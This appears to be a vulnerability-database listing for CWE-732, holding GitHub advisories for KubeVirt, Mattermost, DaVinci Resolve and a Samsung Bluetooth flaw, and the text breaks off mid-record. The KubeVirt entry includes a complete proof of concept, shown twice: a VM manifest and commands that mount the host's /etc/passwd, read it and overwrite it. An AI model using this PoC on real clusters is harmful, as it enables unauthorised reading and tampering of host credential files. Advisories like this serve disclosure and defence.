CWE-732
Allowed-with-ReviewIncorrect Permission Assignment for Critical Resource
Abstraction: Class · Status: Draft
The product specifies permissions for a security-critical resource in a way that allows that resource to be read or modified by unintended actors.
2077 vulnerabilities reference this CWE, most recent first.
GHSA-46XP-26XH-HPQH
Vulnerability from github – Published: 2025-11-07 18:46 – Updated: 2025-11-27 08:53Summary
The hostDisk feature in KubeVirt allows mounting a host file or directory owned by the user with UID 107 into a VM. However, the implementation of this feature and more specifically the DiskOrCreate option which creates a file if it doesn't exist, has a logic bug that allows an attacker to read and write arbitrary files owned by more privileged users on the host system.
Details
The hostDisk feature gate in KubeVirt allows mounting a QEMU RAW image directly from the host into a VM. While similar features, such as mounting disk images from a PVC, enforce ownership-based restrictions (e.g., only allowing files owned by specific UID, this mechanism can be subverted. For a RAW disk image to be readable by the QEMU process running within the virt-launcher pod, it must be owned by a user with UID 107. If this ownership check is considered a security barrier, it can be bypassed. In addition, the ownership of the host files mounted via this feature is changed to the user with UID 107.
The above is due to a logic bug in the code of the virt-handler component which prepares and sets the permissions of the volumes and data inside which are going to be mounted in the virt-launcher pod and consecutively consumed by the VM. It is triggered when one tries to mount a host file or directory using the DiskOrCreate option. The relevant code is as follows:
// pkg/host-disk/host-disk.go
func (hdc DiskImgCreator) Create(vmi *v1.VirtualMachineInstance) error {
for _, volume := range vmi.Spec.Volumes {
if hostDisk := volume.VolumeSource.HostDisk; shouldMountHostDisk(hostDisk) {
if err := hdc.mountHostDiskAndSetOwnership(vmi, volume.Name, hostDisk); err != nil {
return err
}
}
}
return nil
}
func shouldMountHostDisk(hostDisk *v1.HostDisk) bool {
return hostDisk != nil && hostDisk.Type == v1.HostDiskExistsOrCreate && hostDisk.Path != ""
}
func (hdc *DiskImgCreator) mountHostDiskAndSetOwnership(vmi *v1.VirtualMachineInstance, volumeName string, hostDisk *v1.HostDisk) error {
diskPath := GetMountedHostDiskPathFromHandler(unsafepath.UnsafeAbsolute(hdc.mountRoot.Raw()), volumeName, hostDisk.Path)
diskDir := GetMountedHostDiskDirFromHandler(unsafepath.UnsafeAbsolute(hdc.mountRoot.Raw()), volumeName)
fileExists, err := ephemeraldiskutils.FileExists(diskPath)
if err != nil {
return err
}
if !fileExists {
if err := hdc.handleRequestedSizeAndCreateSparseRaw(vmi, diskDir, diskPath, hostDisk); err != nil {
return err
}
}
// Change file ownership to the qemu user.
if err := ephemeraldiskutils.DefaultOwnershipManager.UnsafeSetFileOwnership(diskPath); err != nil {
log.Log.Reason(err).Errorf("Couldn't set Ownership on %s: %v", diskPath, err)
return err
}
return nil
}
The root cause lies in the fact that if the specified by the user file does not exist, it is created by the handleRequestedSizeAndCreateSparseRaw function. However, this function does not explicitly set file ownership or permissions. As a result, the logic in mountHostDiskAndSetOwnership proceeds to the branch marked with // Change file ownership to the qemu user, assuming ownership should be applied. This logic fails to account for the scenario where the file already exists and may be owned by a more privileged user.
In such cases, changing file ownership without validating the file's origin introduces a security risk: it can unintentionally grant access to sensitive host files, compromising their integrity and confidentiality. This may also enable an External API Attacker to disrupt system availability.
PoC
To demonstrate this vulnerability, the hostDisk feature gate should be enabled when deploying the KubeVirt stack.
# kubevirt-cr.yaml
apiVersion: kubevirt.io/v1
kind: KubeVirt
metadata:
name: kubevirt
namespace: kubevirt
spec:
certificateRotateStrategy: {}
configuration:
developerConfiguration:
featureGates:
- HostDisk
customizeComponents: {}
imagePullPolicy: IfNotPresent
workloadUpdateStrategy: {}
Initially, if one tries to create a VM and mount /etc/passwd from the host using the Disk option which assumes that the file already exists, the following error is returned:
# arbitrary-host-read-write.yaml
apiVersion: kubevirt.io/v1
kind: VirtualMachine
metadata:
name: arbitrary-host-read-write
spec:
runStrategy: Always
template:
metadata:
labels:
kubevirt.io/size: small
kubevirt.io/domain: arbitrary-host-read-write
spec:
domain:
devices:
disks:
- name: containerdisk
disk:
bus: virtio
- name: cloudinitdisk
disk:
bus: virtio
- name: host-disk
disk:
bus: virtio
interfaces:
- name: default
masquerade: {}
resources:
requests:
memory: 64M
networks:
- name: default
pod: {}
volumes:
- name: containerdisk
containerDisk:
image: quay.io/kubevirt/cirros-container-disk-demo
- name: cloudinitdisk
cloudInitNoCloud:
userDataBase64: SGkuXG4=
- name: host-disk
hostDisk:
path: /etc/passwd
type: Disk
# Deploy the above VM manifest
operator@minikube:~$ kubectl apply -f arbitrary-host-read-write.yaml
# Observe the deployment status
operator@minikube:~$ kubectl get vm
NAME AGE STATUS READY
arbitrary-host-read-write 7m55s CrashLoopBackOff False
# Inspect the reason for the `CrashLoopBackOff`
operator@minikube:~$ kubectl get vm arbitrary-host-read-write -o jsonpath='{.status.conditions[3].message}'
server error. command SyncVMI failed: "LibvirtError(Code=1, Domain=10, Message='internal error: process exited while connecting to monitor: 2025-05-20T20:14:01.546609Z qemu-kvm: -blockdev {\"driver\":\"file\",\"filename\":\"/var/run/kubevirt-private/vmi-disks/host-disk/passwd\",\"aio\":\"native\",\"node-name\":\"libvirt-1-storage\",\"read-only\":false,\"discard\":\"unmap\",\"cache\":{\"direct\":true,\"no-flush\":false}}: Could not open '/var/run/kubevirt-private/vmi-disks/host-disk/passwd': Permission denied')"
The hosts's /etc/passwd file's owner and group are 0:0 (root:root) hence, when one tries to deploy the above VirtualMachine definition, it gets a PermissionDenied error because the file is not owned by the user with UID 107 (qemu):
# Inspect the ownership of the host's mounted `/etc/passwd` file within the `virt-launcher` pod responsible for the VM
operator@minikube:~$ kubectl exec -it virt-launcher-arbitrary-host-read-write-tjjkt -- ls -al /var/run/kubevirt-private/vmi-disks/host-disk/passwd
-rw-r--r--. 1 root root 1276 Jan 13 17:10 /var/run/kubevirt-private/vmi-disks/host-disk/passwd
However, if one uses the DiskOrCreate option, the file's ownership is silently changed to 107:107 (qemu:qemu) before the VM is started which allows the latter to boot, and then read and modify it.
...
hostDisk:
capacity: 1Gi
path: /etc/passwd
type: DiskOrCreate
# Apply the modified manifest
operator@minikube:~$ kubectl apply -f arbitrary-host-read-write.yaml
# Observe the deployment status
operator@minikube::~$ kubectl get vm
NAME AGE STATUS READY
arbitrary-host-read-write 7m55s Running False
# Initiate a console connection to the running VM
operator@minikube: virtctl console arbitrary-host-read-write
...
# Within the VM arbitrary-host-read-write, inspect the present block devices and their contents
root@arbitrary-host-read-write:~$ lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
vda 253:0 0 44M 0 disk
|-vda1 253:1 0 35M 0 part /
`-vda15 253:15 0 8M 0 part
vdb 253:16 0 1M 0 disk
vdc 253:32 0 1.5K 0 disk
root@arbitrary-host-read-write:~$ cat /dev/vdc
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
_rpc:x:101:65534::/run/rpcbind:/usr/sbin/nologin
systemd-network:x:102:106:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:107:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
statd:x:104:65534::/var/lib/nfs:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
docker:x:1000:999:,,,:/home/docker:/bin/bash
# Write into the block device backed up by the host's `/etc/passwd` file
root@arbitrary-host-read-write:~$ echo "Quarkslab" | tee -a /dev/vdc
If one inspects the file content of the host's /etc/passwd file, they will see that it has changed alongside its ownership:
# Inspect the contents of the file
operator@minikube:~$ cat /etc/passwd
Quarkslab
:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
_rpc:x:101:65534::/run/rpcbind:/usr/sbin/nologin
systemd-network:x:102:106:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:107:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
statd:x:104:65534::/var/lib/nfs:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
docker:x:1000:999:,,,:/home/docker:/bin/bash
# Inspect the permissions of the file
operator@minikube:~$ ls -al /etc/passwd
-rw-r--r--. 1 107 systemd-resolve 1276 May 20 20:35 /etc/passwd
# Test the integrity of the system
operator@minikube: $sudo su
sudo: unknown user root
sudo: error initializing audit plugin sudoers_audit
Impact
Host files arbitrary read and write - this vulnerability it can unintentionally grant access to sensitive host files, compromising their integrity and confidentiality.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "kubevirt.io/kubevirt"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.6.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "kubevirt.io/kubevirt"
},
"ranges": [
{
"events": [
{
"introduced": "1.7.0-alpha.0"
},
{
"fixed": "1.7.0-rc.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-64324"
],
"database_specific": {
"cwe_ids": [
"CWE-123",
"CWE-200",
"CWE-732"
],
"github_reviewed": true,
"github_reviewed_at": "2025-11-07T18:46:09Z",
"nvd_published_at": "2025-11-18T23:15:55Z",
"severity": "HIGH"
},
"details": "### Summary\nThe `hostDisk` feature in KubeVirt allows mounting a host file or directory owned by the user with UID 107 into a VM. However, the implementation of this feature and more specifically the `DiskOrCreate` option which creates a file if it doesn\u0027t exist, has a logic bug that allows an attacker to read and write arbitrary files owned by more privileged users on the host system.\n\n\n### Details\nThe `hostDisk` feature gate in KubeVirt allows mounting a QEMU RAW image directly from the host into a VM. While similar features, such as mounting disk images from a PVC, enforce ownership-based restrictions (e.g., only allowing files owned by specific UID, this mechanism can be subverted. For a RAW disk image to be readable by the QEMU process running within the `virt-launcher` pod, it must be owned by a user with UID 107. **If this ownership check is considered a security barrier, it can be bypassed**. In addition, the ownership of the host files mounted via this feature is changed to the user with UID 107. \n\nThe above is due to a logic bug in the code of the `virt-handler` component which prepares and sets the permissions of the volumes and data inside which are going to be mounted in the `virt-launcher` pod and consecutively consumed by the VM. It is triggered when one tries to mount a host file or directory using the `DiskOrCreate` option. The relevant code is as follows:\n\n```go\n// pkg/host-disk/host-disk.go\n\nfunc (hdc DiskImgCreator) Create(vmi *v1.VirtualMachineInstance) error {\n\tfor _, volume := range vmi.Spec.Volumes {\n\t\tif hostDisk := volume.VolumeSource.HostDisk; shouldMountHostDisk(hostDisk) {\n\t\t\tif err := hdc.mountHostDiskAndSetOwnership(vmi, volume.Name, hostDisk); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc shouldMountHostDisk(hostDisk *v1.HostDisk) bool {\n\treturn hostDisk != nil \u0026\u0026 hostDisk.Type == v1.HostDiskExistsOrCreate \u0026\u0026 hostDisk.Path != \"\"\n}\n\nfunc (hdc *DiskImgCreator) mountHostDiskAndSetOwnership(vmi *v1.VirtualMachineInstance, volumeName string, hostDisk *v1.HostDisk) error {\n\tdiskPath := GetMountedHostDiskPathFromHandler(unsafepath.UnsafeAbsolute(hdc.mountRoot.Raw()), volumeName, hostDisk.Path)\n\tdiskDir := GetMountedHostDiskDirFromHandler(unsafepath.UnsafeAbsolute(hdc.mountRoot.Raw()), volumeName)\n\tfileExists, err := ephemeraldiskutils.FileExists(diskPath)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif !fileExists {\n\t\tif err := hdc.handleRequestedSizeAndCreateSparseRaw(vmi, diskDir, diskPath, hostDisk); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\t// Change file ownership to the qemu user.\n\tif err := ephemeraldiskutils.DefaultOwnershipManager.UnsafeSetFileOwnership(diskPath); err != nil {\n\t\tlog.Log.Reason(err).Errorf(\"Couldn\u0027t set Ownership on %s: %v\", diskPath, err)\n\t\treturn err\n\t}\n\treturn nil\n}\n```\n\n\nThe root cause lies in the fact that if the specified by the user file does not exist, it is created by the `handleRequestedSizeAndCreateSparseRaw` function. However, this function does not explicitly set file ownership or permissions. As a result, the logic in `mountHostDiskAndSetOwnership` proceeds to the branch marked with `// Change file ownership to the qemu user`, assuming ownership should be applied. This logic fails to account for the scenario where the file already exists and may be owned by a more privileged user. \nIn such cases, changing file ownership without validating the file\u0027s origin introduces a security risk: it can unintentionally grant access to sensitive host files, compromising their integrity and confidentiality. This may also enable an **External API Attacker** to disrupt system availability.\n\n\n### PoC\nTo demonstrate this vulnerability, the `hostDisk` feature gate should be enabled when deploying the KubeVirt stack. \n\n```yaml\n# kubevirt-cr.yaml\napiVersion: kubevirt.io/v1\nkind: KubeVirt\nmetadata:\n name: kubevirt\n namespace: kubevirt\nspec:\n certificateRotateStrategy: {}\n configuration:\n developerConfiguration:\n featureGates:\n - HostDisk\n customizeComponents: {}\n imagePullPolicy: IfNotPresent\n workloadUpdateStrategy: {}\n```\n\n\nInitially, if one tries to create a VM and mount `/etc/passwd` from the host using the `Disk` option which assumes that the file already exists, the following error is returned:\n\n```yaml\n# arbitrary-host-read-write.yaml\napiVersion: kubevirt.io/v1\nkind: VirtualMachine\nmetadata:\n name: arbitrary-host-read-write\nspec:\n runStrategy: Always\n template:\n metadata:\n labels:\n kubevirt.io/size: small\n kubevirt.io/domain: arbitrary-host-read-write\n spec:\n domain:\n devices:\n disks:\n - name: containerdisk\n disk:\n bus: virtio\n - name: cloudinitdisk\n disk:\n bus: virtio\n - name: host-disk\n disk:\n bus: virtio\n interfaces:\n - name: default\n masquerade: {}\n resources:\n requests:\n memory: 64M\n networks:\n - name: default\n pod: {}\n volumes:\n - name: containerdisk\n containerDisk:\n image: quay.io/kubevirt/cirros-container-disk-demo\n - name: cloudinitdisk\n cloudInitNoCloud:\n userDataBase64: SGkuXG4=\n - name: host-disk\n hostDisk:\n path: /etc/passwd\n type: Disk\n```\n\n\n```bash\n# Deploy the above VM manifest\noperator@minikube:~$ kubectl apply -f arbitrary-host-read-write.yaml\n# Observe the deployment status\noperator@minikube:~$ kubectl get vm\nNAME AGE STATUS READY\narbitrary-host-read-write 7m55s CrashLoopBackOff False\n# Inspect the reason for the `CrashLoopBackOff`\noperator@minikube:~$ kubectl get vm arbitrary-host-read-write -o jsonpath=\u0027{.status.conditions[3].message}\u0027\nserver error. command SyncVMI failed: \"LibvirtError(Code=1, Domain=10, Message=\u0027internal error: process exited while connecting to monitor: 2025-05-20T20:14:01.546609Z qemu-kvm: -blockdev {\\\"driver\\\":\\\"file\\\",\\\"filename\\\":\\\"/var/run/kubevirt-private/vmi-disks/host-disk/passwd\\\",\\\"aio\\\":\\\"native\\\",\\\"node-name\\\":\\\"libvirt-1-storage\\\",\\\"read-only\\\":false,\\\"discard\\\":\\\"unmap\\\",\\\"cache\\\":{\\\"direct\\\":true,\\\"no-flush\\\":false}}: Could not open \u0027/var/run/kubevirt-private/vmi-disks/host-disk/passwd\u0027: Permission denied\u0027)\"\n```\n\nThe hosts\u0027s `/etc/passwd` file\u0027s owner and group are `0:0` (`root:root`) hence, when one tries to deploy the above `VirtualMachine` definition, it gets a `PermissionDenied` error because the file is not owned by the user with UID `107` (`qemu`):\n\n\n```bash\n# Inspect the ownership of the host\u0027s mounted `/etc/passwd` file within the `virt-launcher` pod responsible for the VM\noperator@minikube:~$ kubectl exec -it virt-launcher-arbitrary-host-read-write-tjjkt -- ls -al /var/run/kubevirt-private/vmi-disks/host-disk/passwd\n-rw-r--r--. 1 root root 1276 Jan 13 17:10 /var/run/kubevirt-private/vmi-disks/host-disk/passwd\n```\n\nHowever, if one uses the `DiskOrCreate` option, the file\u0027s ownership is silently changed to `107:107` (`qemu:qemu`) before the VM is started which allows the latter to boot, and then read and modify it.\n\n```yaml\n...\nhostDisk:\n capacity: 1Gi\n path: /etc/passwd\n type: DiskOrCreate\n```\n\n```bash\n# Apply the modified manifest\noperator@minikube:~$ kubectl apply -f arbitrary-host-read-write.yaml\n# Observe the deployment status\noperator@minikube::~$ kubectl get vm\nNAME AGE STATUS READY\narbitrary-host-read-write 7m55s Running False\n# Initiate a console connection to the running VM\noperator@minikube: virtctl console arbitrary-host-read-write\n...\n```\n\n```bash\n# Within the VM arbitrary-host-read-write, inspect the present block devices and their contents\nroot@arbitrary-host-read-write:~$ lsblk\nNAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT\nvda 253:0 0 44M 0 disk\n|-vda1 253:1 0 35M 0 part /\n`-vda15 253:15 0 8M 0 part\nvdb 253:16 0 1M 0 disk\nvdc 253:32 0 1.5K 0 disk\nroot@arbitrary-host-read-write:~$ cat /dev/vdc\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n_apt:x:100:65534::/nonexistent:/usr/sbin/nologin\n_rpc:x:101:65534::/run/rpcbind:/usr/sbin/nologin\nsystemd-network:x:102:106:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin\nsystemd-resolve:x:103:107:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin\nstatd:x:104:65534::/var/lib/nfs:/usr/sbin/nologin\nsshd:x:105:65534::/run/sshd:/usr/sbin/nologin\ndocker:x:1000:999:,,,:/home/docker:/bin/bash\n# Write into the block device backed up by the host\u0027s `/etc/passwd` file\nroot@arbitrary-host-read-write:~$ echo \"Quarkslab\" | tee -a /dev/vdc\n```\n\nIf one inspects the file content of the host\u0027s `/etc/passwd` file, they will see that it has changed alongside its ownership:\n\n```bash\n# Inspect the contents of the file\noperator@minikube:~$ cat /etc/passwd\nQuarkslab\n:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n_apt:x:100:65534::/nonexistent:/usr/sbin/nologin\n_rpc:x:101:65534::/run/rpcbind:/usr/sbin/nologin\nsystemd-network:x:102:106:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin\nsystemd-resolve:x:103:107:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin\nstatd:x:104:65534::/var/lib/nfs:/usr/sbin/nologin\nsshd:x:105:65534::/run/sshd:/usr/sbin/nologin\ndocker:x:1000:999:,,,:/home/docker:/bin/bash\n# Inspect the permissions of the file\noperator@minikube:~$ ls -al /etc/passwd\n-rw-r--r--. 1 107 systemd-resolve 1276 May 20 20:35 /etc/passwd\n# Test the integrity of the system\noperator@minikube: $sudo su\nsudo: unknown user root\nsudo: error initializing audit plugin sudoers_audit\n```\n\n### Impact\n\nHost files arbitrary read and write - this vulnerability it can unintentionally grant access to sensitive host files, compromising their integrity and confidentiality.",
"id": "GHSA-46xp-26xh-hpqh",
"modified": "2025-11-27T08:53:21Z",
"published": "2025-11-07T18:46:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kubevirt/kubevirt/security/advisories/GHSA-46xp-26xh-hpqh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64324"
},
{
"type": "WEB",
"url": "https://github.com/kubevirt/kubevirt/pull/15037"
},
{
"type": "WEB",
"url": "https://github.com/kubevirt/kubevirt/commit/00d03e43e3bf03e563136695a4732b65ed42d764"
},
{
"type": "WEB",
"url": "https://github.com/kubevirt/kubevirt/commit/ff3b69b08b6b9c8d08d23735ca8d82455f790a69"
},
{
"type": "PACKAGE",
"url": "https://github.com/kubevirt/kubevirt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "KubeVirt Vulnerable to Arbitrary Host File Read and Write"
}
GHSA-4765-V66X-RQX7
Vulnerability from github – Published: 2026-03-26 18:31 – Updated: 2026-03-31 23:04Mattermost versions 11.4.x <= 11.4.0, 11.3.x <= 11.3.1, 11.2.x <= 11.2.3, 10.11.x <= 10.11.11 fail to set permissions on downloaded bulk export which allows other local users on the server to be able to read contents of the bulk export. Mattermost Advisory ID: MMSA-2026-00593.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/mattermost/mattermost-server"
},
"ranges": [
{
"events": [
{
"introduced": "11.4.0-rc1"
},
{
"fixed": "11.4.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/mattermost/mattermost-server"
},
"ranges": [
{
"events": [
{
"introduced": "11.3.0-rc1"
},
{
"fixed": "11.3.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/mattermost/mattermost-server"
},
"ranges": [
{
"events": [
{
"introduced": "11.2.0-rc1"
},
{
"fixed": "11.2.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/mattermost/mattermost-server"
},
"ranges": [
{
"events": [
{
"introduced": "10.11.0-rc1"
},
{
"fixed": "10.11.12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/mattermost/mattermost-server"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0-20260105080200-d27a2195068d"
},
{
"fixed": "8.0.0-20260217110922-b7d4a1f1f59b"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-3113"
],
"database_specific": {
"cwe_ids": [
"CWE-732"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-31T23:04:51Z",
"nvd_published_at": "2026-03-26T17:16:42Z",
"severity": "MODERATE"
},
"details": "Mattermost versions 11.4.x \u003c= 11.4.0, 11.3.x \u003c= 11.3.1, 11.2.x \u003c= 11.2.3, 10.11.x \u003c= 10.11.11 fail to set permissions on downloaded bulk export which allows other local users on the server to be able to read contents of the bulk export. Mattermost Advisory ID: MMSA-2026-00593.",
"id": "GHSA-4765-v66x-rqx7",
"modified": "2026-03-31T23:04:51Z",
"published": "2026-03-26T18:31:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3113"
},
{
"type": "PACKAGE",
"url": "https://github.com/mattermost/mattermost"
},
{
"type": "WEB",
"url": "https://mattermost.com/security-updates"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Mattermost doesn\u0027t set permissions on downloaded bulk export"
}
GHSA-47M3-CR54-PVMQ
Vulnerability from github – Published: 2025-02-28 09:30 – Updated: 2025-10-03 09:30DaVinci Resolve on MacOS was found to be installed with incorrect file permissions (rwxrwxrwx). This is inconsistent with standard macOS security practices, where applications should have drwxr-xr-x permissions. Incorrect permissions allow for Dylib Hijacking. Guest account, other users and applications can exploit this vulnerability for privilege escalation. This issue affects DaVinci Resolve on MacOS in versions before 19.1.3.
{
"affected": [],
"aliases": [
"CVE-2025-1413"
],
"database_specific": {
"cwe_ids": [
"CWE-266",
"CWE-732"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-28T09:15:11Z",
"severity": "CRITICAL"
},
"details": "DaVinci Resolve on MacOS was found to be installed with incorrect file permissions (rwxrwxrwx). This is inconsistent with standard macOS security practices, where applications should have drwxr-xr-x permissions. Incorrect permissions allow for Dylib Hijacking. Guest account, other users and applications can exploit this vulnerability for privilege escalation. This issue affects DaVinci Resolve on MacOS in versions\u00a0before 19.1.3.",
"id": "GHSA-47m3-cr54-pvmq",
"modified": "2025-10-03T09:30:19Z",
"published": "2025-02-28T09:30:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1413"
},
{
"type": "WEB",
"url": "https://apps.apple.com/pl/app/davinci-resolve/id571213070?mt=12"
},
{
"type": "WEB",
"url": "https://cert.pl/en/posts/2025/02/CVE-2025-1413"
},
{
"type": "WEB",
"url": "https://cert.pl/posts/2025/02/CVE-2025-1413"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-488H-84P6-47VR
Vulnerability from github – Published: 2026-04-13 06:30 – Updated: 2026-04-13 18:30Incorrect privilege assignment in Bluetooth in Maintenance mode prior to SMR Apr-2026 Release 1 allows physical attackers to bypass Extend Unlock.
{
"affected": [],
"aliases": [
"CVE-2026-21011"
],
"database_specific": {
"cwe_ids": [
"CWE-732"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-13T06:16:05Z",
"severity": "MODERATE"
},
"details": "Incorrect privilege assignment in Bluetooth in Maintenance mode prior to SMR Apr-2026 Release 1 allows physical attackers to bypass Extend Unlock.",
"id": "GHSA-488h-84p6-47vr",
"modified": "2026-04-13T18:30:39Z",
"published": "2026-04-13T06:30:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21011"
},
{
"type": "WEB",
"url": "https://security.samsungmobile.com/securityUpdate.smsb?year=2026\u0026month=04"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
